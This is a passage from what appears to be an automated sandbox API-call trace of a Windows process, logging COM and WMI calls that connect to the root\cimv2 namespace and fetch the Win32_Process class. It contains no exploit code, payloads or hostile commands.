wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0140.951] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd8f20, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0140.951] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0140.951] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0140.951] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.951] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0140.951] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0140.952] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0140.952] IUnknown:Release (This=0x1a943398) returned 0x1 [0140.953] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1bce5a80) returned 0x0 [0140.953] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce5a80, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0140.953] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce5a80, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1bcd9220) returned 0x0 [0140.953] WbemDefPath:IUnknown:Release (This=0x1bce5a80) returned 0x0 [0140.953] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9220, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1bcd9220) returned 0x0 [0140.954] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9220, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0140.954] WbemDefPath:IUnknown:AddRef (This=0x1bcd9220) returned 0x3 [0140.954] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9220, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0140.954] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9220, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0140.954] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9220, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1bce5ac0) returned 0x0 [0140.954] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce5ac0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0140.954] WbemDefPath:IUnknown:Release (This=0x1bce5ac0) returned 0x3 [0140.954] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0140.954] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0140.954] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9220, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0140.954] WbemDefPath:IUnknown:Release (This=0x1bcd9220) returned 0x2 [0140.954] WbemDefPath:IUnknown:Release (This=0x1bcd9220) returned 0x1 [0140.954] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0140.954] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0140.955] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9220, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1bcd9220) returned 0x0 [0140.955] WbemDefPath:IUnknown:AddRef (This=0x1bcd9220) returned 0x3 [0140.955] WbemDefPath:IUnknown:Release (This=0x1bcd9220) returned 0x2 [0140.955] WbemDefPath:IWbemPath:SetText (This=0x1bcd9220, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0140.955] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9220, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0140.955] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9220, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0140.955] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9220, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.955] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0140.955] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0140.955] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0140.955] IUnknown:Release (This=0x1a943398) returned 0x1 [0140.956] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1bce5bc0) returned 0x0 [0140.956] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce5bc0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0140.956] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bce5bc0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1bce5be0) returned 0x0 [0140.956] WbemLocator:IUnknown:Release (This=0x1bce5bc0) returned 0x0 [0140.956] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce5be0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1bce5be0) returned 0x0 [0140.956] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce5be0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0140.956] WbemLocator:IUnknown:AddRef (This=0x1bce5be0) returned 0x3 [0140.956] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce5be0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0140.956] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce5be0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0140.957] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce5be0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0140.957] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0140.957] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0140.957] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce5be0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0140.957] WbemLocator:IUnknown:Release (This=0x1bce5be0) returned 0x2 [0140.957] WbemLocator:IUnknown:Release (This=0x1bce5be0) returned 0x1 [0140.957] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0140.957] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0140.957] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce5be0, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bce5be0) returned 0x0 [0140.957] WbemLocator:IUnknown:AddRef (This=0x1bce5be0) returned 0x3 [0140.957] WbemLocator:IUnknown:Release (This=0x1bce5be0) returned 0x2 [0140.957] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9220, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0140.957] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9220, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0140.957] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9220, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.957] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1bce5c00) returned 0x0 [0140.957] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bce5c00, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bce7bd0) returned 0x0 [0141.040] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce7bd0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1bc43760) returned 0x0 [0141.040] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bc43760, pProxy=0x1bce7bd0, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0141.040] WbemLocator:IUnknown:Release (This=0x1bc43760) returned 0x1 [0141.040] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce7bd0, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1bc437a0) returned 0x0 [0141.040] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce7bd0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1bc43760) returned 0x0 [0141.040] WbemLocator:IClientSecurity:SetBlanket (This=0x1bc43760, pProxy=0x1bce7bd0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0141.040] WbemLocator:IUnknown:Release (This=0x1bc43760) returned 0x2 [0141.040] WbemLocator:IUnknown:Release (This=0x1bc437a0) returned 0x1 [0141.040] CoTaskMemFree (pv=0x1bcc3010) [0141.041] WbemLocator:IUnknown:AddRef (This=0x1bce7bd0) returned 0x2 [0141.041] WbemLocator:IUnknown:Release (This=0x1bce5c00) returned 0x0 [0141.041] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0141.041] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0141.041] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce7bd0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1bc43770) returned 0x0 [0141.041] WbemLocator:IRpcOptions:Query (in: This=0x1bc43770, pPrx=0x1bce5c60, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0141.041] WbemLocator:IUnknown:Release (This=0x1bc43770) returned 0x2 [0141.041] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0141.042] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0141.042] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce7bd0, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bce7bd0) returned 0x0 [0141.042] WbemLocator:IUnknown:Release (This=0x1bce7bd0) returned 0x2 [0141.042] SysStringLen (param_1=0x0) returned 0x0 [0141.042] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9220, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0141.042] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9220, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0141.042] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9220, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.042] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd8f20, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0141.042] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd8f20, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0141.042] IWbemServices:GetObject (in: This=0x1bce7bd0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1aa299c0, ppCallResult=0x0) returned 0x0 [0141.045] IWbemClassObject:Get (in: This=0x1aa299c0, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0141.045] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0141.045] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0141.045] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0141.045] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0141.045] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0141.045] IUnknown:Release (This=0x1a943398) returned 0x1 [0141.048] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1bce5c00) returned 0x0 [0141.048] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce5c00, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0141.048] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce5c00, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1bcd92e0) returned 0x0 [0141.048] WbemDefPath:IUnknown:Release (This=0x1bce5c00) returned 0x0 [0141.048] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd92e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1bcd92e0) returned 0x0 [0141.049] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd92e0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0141.049] WbemDefPath:IUnknown:AddRef (This=0x1bcd92e0) returned 0x3 [0141.049] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd92e0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0141.049] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd92e0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0141.049] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd92e0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1bce5c20) returned 0x0 [0141.049] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce5c20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0141.049] WbemDefPath:IUnknown:Release (This=0x1bce5c20) returned 0x3 [0141.049] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0141.050] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0141.050] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd92e0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0141.050] WbemDefPath:IUnknown:Release (This=0x1bcd92e0) returned 0x2 [0141.050] WbemDefPath:IUnknown:Release (This=0x1bcd92e0) returned 0x1 [0141.050] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0141.050] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0141.050] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd92e0, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bcd92e0) returned 0x0 [0141.050] WbemDefPath:IUnknown:AddRef (This=0x1bcd92e0) returned 0x3 [0141.050] 